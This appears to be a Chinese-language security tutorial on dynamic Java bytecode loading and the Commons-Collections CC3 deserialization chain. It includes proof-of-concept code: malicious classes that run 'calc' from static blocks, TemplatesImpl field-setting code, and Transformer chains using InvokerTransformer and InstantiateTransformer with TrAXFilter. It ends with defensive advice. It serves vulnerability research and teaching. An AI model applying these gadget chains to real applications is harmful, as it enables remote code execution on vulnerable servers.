CC3
字数 3706 2025-10-29 23:25:25
Java动态加载字节码与CC3反序列化漏洞深入解析
文档版本: 1.0
发布日期: 2023-10-26
目标读者: 具备Java基础和安全入门知识的开发者、安全研究人员
一、 核心概念:Java字节码与动态加载
1.1 什么是Java字节码(ByteCode)?
- 定义: Java字节码是一套专为Java虚拟机(JVM)设计的指令集。它是Java源代码(.java文件)经过编译器(javac)编译后生成的中间格式文件(.class文件)。
- 核心价值 - 跨平台: Java的核心优势“一次编写,到处运行”正是基于字节码和JVM实现的。不同平台的JVM会解释执行相同的字节码,从而屏蔽底层操作系统的差异。
- 扩展性: 任何能够被编译成合法Java字节码的语言(如Scala、Kotlin、Jython),都可以在JVM上运行。
1.2 什么是动态加载字节码?
- 通常情况下,类是在JVM启动时或程序首次主动引用时,由类加载器从
classpath下加载的。 - 动态加载 指的是在程序运行时,通过特定的API,从非
classpath的路径(如文件系统、网络地址、甚至内存中的字节数组)手动加载并初始化一个类。这为程序带来了极大的灵活性,但也引入了严重的安全风险。
二、 动态加载字节码的三种核心方法
2.1 利用 URLClassLoader 加载远程或本地class文件
- 工作机制:
URLClassLoader是Java默认类加载机制的一个体现。它根据提供的URL基础路径来寻找并加载类。- 路径规则:
file:///path/to/dir/(以/结尾):视为目录,使用FileLoader从文件系统加载。file:///path/to/jar.jar(不以/结尾):视为JAR文件,使用JarLoader从JAR包中加载。http://example.com/path/(非file协议):使用基础的Loader从网络加载。
- 路径规则:
- 示例1:加载本地class文件(file协议)
// 待加载的恶意类 Calc.java import java.io.IOException; public class Calc { static { // 静态代码块,在类初始化时执行 try { Runtime.getRuntime().exec("calc"); } catch(IOException e) { e.printStackTrace(); } } }// 加载并触发 import java.net.URL; import java.net.URLClassLoader; public class ClassLoader_Calc { public static void main(String[] args) throws Exception { // 指向包含 Calc.class 文件的目录 URLClassLoader urlClassLoader = new URLClassLoader(new URL[]{new URL("file:///E:\\")}); Class calc = urlClassLoader.loadClass("Calc"); // 加载类 calc.newInstance(); // 触发类的初始化,从而执行静态块中的代码 } } - 示例2:加载远程class文件(http协议)
// 在 http://localhost:8999/ 上提供 Calc.class 文件 import java.net.URL; import java.net.URLClassLoader; public class HelloClassLoader { public static void main(String[] args) throws Exception { URL[] urls = {new URL("http://localhost:8999/")}; URLClassLoader classLoader = URLClassLoader.newInstance(urls); Class c = classLoader.loadClass("Calc"); c.newInstance(); } }
2.2 利用 ClassLoader#defineClass 直接加载字节码
- 核心流程: 标准的类加载流程是
loadClass->findClass->defineClass。loadClass: 遵循双亲委派模型,先检查类是否已加载,再委托父加载器。findClass: 根据位置(文件系统、网络等)查找类的字节码。defineClass: 最核心的一步。它接受一个字节数组(即.class文件的二进制内容),并将其转换为JVM内部的Class对象。这是一个final方法,包含了类验证、解析等复杂逻辑。
- 关键点:
defineClass方法是protected的,无法直接调用。但可以通过反射来突破限制。 - 示例:
import java.lang.reflect.Method; import java.util.Base64; public class DefineClass { public static void main(String[] args) throws Exception { // 通过反射获取 defineClass 方法 Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", String.class, byte[].class, int.class, int.class); defineClass.setAccessible(true); // 突破访问限制 // 这里是 Hello.class 的 Base64 编码字节码 byte[] code = Base64.getDecoder().decode("yv66vgAAADQAGwoABgANCQAOAA8IABAKABEAEgcAEwcAFAEABjxpbml0PgEAAygpVgEABENvZGUBAA9MaW5lTnVtYmVyVGFibGUBAApTb3VyY2VGaWxlAQAKSGVsbG8uamF2YQwABwAIBwAVDAAWABcBAAtIZWxsbyBXb3JsZAcAGAwAGQAaAQAFSGVsbG8BABBqYXZhL2xhbmcvT2JqZWN0AQAQamF2YS9sYW5nL1N5c3RlbQEAA291dAEAFUxqYXZhL2lvL1ByaW50U3RyZWFtOwEAE2phdmEvaW8vUHJpbnRTdHJlYW0BAAdwcmludGxuAQAVKExqYXZhL2xhbmcvU3RyaW5nOylWACEABQAGAAAAAAABAAEABwAIAAEACQAAAC0AAgABAAAADSq3AAGyAAISA7YABLEAAAABAAoAAAAOAAMAAAACAAQABAAMAAUAAQALAAAAAgAM"); // 使用系统类加载器调用 defineClass,定义出 Hello 类 Class hello = (Class) defineClass.invoke(ClassLoader.getSystemClassLoader(), "Hello", code, 0, code.length); hello.newInstance(); // 实例化,触发初始化 } }
2.3 利用 TemplatesImpl 加载字节码(CC3链核心)
- 背景: 直接使用反射调用
defineClass在某些受限制的环境下可能不可行。我们需要找到一个在JDK自带的库中、能够被序列化/反序列化、并且内部调用了defineClass的“跳板”类。com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl就是这样一个类。 - 调用链分析(核心):
- 入口点:
TemplatesImpl#newTransformer()是一个公有方法。 - 触发实例化:
newTransformer()内部调用getTransletInstance()。 - 触发类定义:
getTransletInstance()内部调用defineTransletClasses()。 - 最终加载:
defineTransletClasses()使用其内部的TransletClassLoader来调用defineClass(_bytecodes[i]),从而加载我们传入的恶意字节码。
- 入口点:
- 关键属性设置: 要成功利用
TemplatesImpl,需要通过反射设置其私有字段:_bytecodes: 设置为一个字节数组的数组(byte[][]),其中包含我们恶意类的字节码。_name: 随意设置一个非空字符串(如"aaa"),避免空指针异常。_tfactory: 必须设置为一个TransformerFactoryImpl实例,因为defineTransletClasses方法中会用到它。_transletIndex: 这个值由defineTransletClasses方法计算得出。关键点在于,我们恶意类的父类必须是com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet,否则_transletIndex会被设为 -1,导致后续实例化失败。
- 完整的恶意类与POC:
// 恶意类 Test.java,必须继承 AbstractTranslet import com.sun.org.apache.xalan.internal.xsltc.DOM; import com.sun.org.apache.xalan.internal.xsltc.TransletException; import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet; import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator; import com.sun.org.apache.xml.internal.serializer.SerializationHandler; import java.io.IOException; public class Test extends AbstractTranslet { static { // 静态块,在类被定义时执行 try { Runtime.getRuntime().exec("calc"); } catch (IOException e) { throw new RuntimeException(e); } } // 实现父类抽象方法(内容可为空,但必须存在) @Override public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {} @Override public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {} }// 利用 TemplatesImpl 加载字节码的 POC import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl; import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl; import java.lang.reflect.Field; import java.nio.file.Files; import java.nio.file.Paths; public class HelloTemplateImpl { public static void main(String[] args) throws Exception { TemplatesImpl templates = new TemplatesImpl(); // 使用反射设置私有字段 setFieldValue(templates, "_name", "aaa"); setFieldValue(templates, "_bytecodes", new byte[][]{Files.readAllBytes(Paths.get("E://Test.class"))}); setFieldValue(templates, "_tfactory", new TransformerFactoryImpl()); // 触发漏洞链 templates.newTransformer(); } static void setFieldValue(Object obj, String fieldName, Object value) throws Exception { Field field = obj.getClass().getDeclaredField(fieldName); field.setAccessible(true); field.set(obj, value); } }
三、 CC3反序列化漏洞链分析
CC3链是Commons-Collections反序列化漏洞家族中的一个,它结合了CC1的TransformedMap/LazyMap链和TemplatesImpl的动态加载字节码能力,实现了无需依赖第三方库(如javassist)的代码执行。
3.1 环境与依赖
- Apache Commons Collections <= 3.2.1
- JDK版本 < 8u71(或需要配置
sun.reflect.noInflation等属性,因为高版本JDK对反射进行了优化,影响了CC1链的触发方式)。
3.2 两条主要的CC3链
链1:CC1 (InvokerTransformer) + TemplatesImpl
- 思路: 利用CC1链中的
InvokerTransformer,将其调用的方法指向TemplatesImpl#newTransformer。 - 构造: 将CC1链中最终执行命令的
InvokerTransformer(如执行Runtime.exec的)替换为调用newTransformer的InvokerTransformer。// 关键Transformer设置 Transformer[] transformers = new Transformer[] { new ConstantTransformer(templates), // templates 是设置好恶意字节码的TemplatesImpl对象 new InvokerTransformer("newTransformer", null, null) }; - 流程: 反序列化 -> CC1链触发 ->
InvokerTransformer#transform(templates)->templates.newTransformer()-> 触发TemplatesImpl链 -> 加载恶意字节码 -> 执行静态代码块中的命令。
链2:CC3 (InstantiateTransformer)
- 思路: 利用
InstantiateTransformer来实例化一个TrAXFilter对象。TrAXFilter的构造函数中会调用TemplatesImpl#newTransformer。 - 构造: 更为直接。通过
InstantiateTransformer来new一个TrAXFilter实例,并将TemplatesImpl对象传给它的构造函数。// 关键Transformer设置 Transformer[] transformers = new Transformer[] { new ConstantTransformer(TrAXFilter.class), new InstantiateTransformer( new Class[] { Templates.class }, new Object[] { templates } ) }; - 流程: 反序列化 -> Transformer链触发 ->
InstantiateTransformer#transform(TrAXFilter.class)->new TrAXFilter(templates)->TrAXFilter构造函数 ->templates.newTransformer()-> 触发TemplatesImpl链。
四、 总结与关键点回顾
- 核心机制: 动态加载字节码的核心是绕过常规的类加载路径,通过
defineClass方法将字节数组直接转换为JVM中的类。 - 关键类:
TemplatesImpl是JDK中一个极其重要的“跳板”,它提供了一个从公有方法到内部defineClass调用的完整路径,是许多高级漏洞利用链的基石。 - 利用前提: 使用
TemplatesImpl时,恶意类必须继承AbstractTranslet,并且需要正确设置_bytecodes、_name、_tfactory等字段。 - 防御思路:
- 代码层面: 避免反序列化不可信的数据。升级Commons Collections等有漏洞的库。
- 策略层面: 使用Java安全管理器(SecurityManager)配置严格的权限策略,限制代码执行、文件读写、网络访问等敏感操作。
- 运行时环境: 及时更新JDK,高版本JDK对反序列化漏洞有更好的内置防护。
这份文档详细拆解了从基础概念到高级利用的完整知识链。理解这些内容对于深入Java应用安全、代码审计和漏洞研究至关重要。